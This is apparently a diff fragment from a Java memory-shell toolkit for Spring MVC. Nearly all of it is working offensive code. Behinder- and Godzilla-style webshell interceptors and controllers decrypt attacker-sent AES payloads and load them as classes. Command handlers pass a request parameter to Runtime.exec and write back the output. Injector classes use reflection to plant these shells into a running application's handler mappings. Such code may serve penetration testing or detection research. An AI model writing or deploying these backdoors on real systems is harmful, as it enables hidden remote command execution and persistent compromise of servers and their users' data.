||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.behinder;
|
||||
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||
public String pass = "{{pass}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public BehinderInterceptor() {
|
||||
}
|
||||
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.command;
|
||||
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.mvc.Controller;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class CommandControllerHandler implements Controller {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
|
||||
public CommandControllerHandler() {
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.command;
|
||||
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class CommandInterceptor implements AsyncHandlerInterceptor {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
|
||||
public CommandInterceptor() {
|
||||
}
|
||||
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
try {
|
||||
String cmd = request.getParameter(paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
+112
@@ -0,0 +1,112 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
||||
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.mvc.Controller;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class GodzillaControllerHandler extends ClassLoader implements Controller {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaControllerHandler() {
|
||||
}
|
||||
|
||||
public GodzillaControllerHandler(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
||||
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
public GodzillaInterceptor() {
|
||||
}
|
||||
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
return false;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
+204
@@ -0,0 +1,204 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class SpringControllerHandlerInterceptor {
|
||||
|
||||
static {
|
||||
new SpringControllerHandlerInterceptor();
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public SpringControllerHandlerInterceptor() {
|
||||
try {
|
||||
Object context = getContext();
|
||||
Object interceptor = getShell();
|
||||
inject(context, interceptor);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||
} catch (Throwable e) {
|
||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if (context == null) {
|
||||
try {
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return context;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object controller) throws Exception {
|
||||
Class<?> beanNameUrlHandlerMappingClass = null;
|
||||
try {
|
||||
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping");
|
||||
} catch (ClassNotFoundException e) {
|
||||
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader());
|
||||
}
|
||||
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
|
||||
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
|
||||
if (handlerMap.get(getUrlPattern()) != null) {
|
||||
System.out.println("controller already injected");
|
||||
return;
|
||||
}
|
||||
handlerMap.put(getUrlPattern(), controller);
|
||||
System.out.println("controller injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) throws
|
||||
Exception {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
package com.reajason.javaweb.memshell.springmvc.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class SpringInterceptorInjector {
|
||||
|
||||
static {
|
||||
new SpringInterceptorInjector();
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public SpringInterceptorInjector() {
|
||||
try {
|
||||
Object context = getContext();
|
||||
Object interceptor = getShell();
|
||||
inject(context, interceptor);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||
} catch (Throwable e) {
|
||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if (context == null) {
|
||||
try {
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return context;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object interceptor) throws Exception {
|
||||
Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"});
|
||||
System.out.println(abstractHandlerMapping.getClass().getName());
|
||||
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
||||
for (Object adaptedInterceptor : adaptedInterceptors) {
|
||||
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("interceptor already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
adaptedInterceptors.add(interceptor);
|
||||
System.out.println("interceptor injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) throws
|
||||
Exception {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
package org.springframework.web.servlet;
|
||||
|
||||
public interface AsyncHandlerInterceptor {
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package org.springframework.web.servlet;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class ModelAndView {
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package org.springframework.web.servlet.mvc;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public interface Controller {
|
||||
}
|
||||
@@ -13,3 +13,5 @@ include 'vul'
|
||||
include 'vul:vul-webapp'
|
||||
include 'vul:vul-webapp-jakarta'
|
||||
include 'vul:vul-webapp-expression'
|
||||
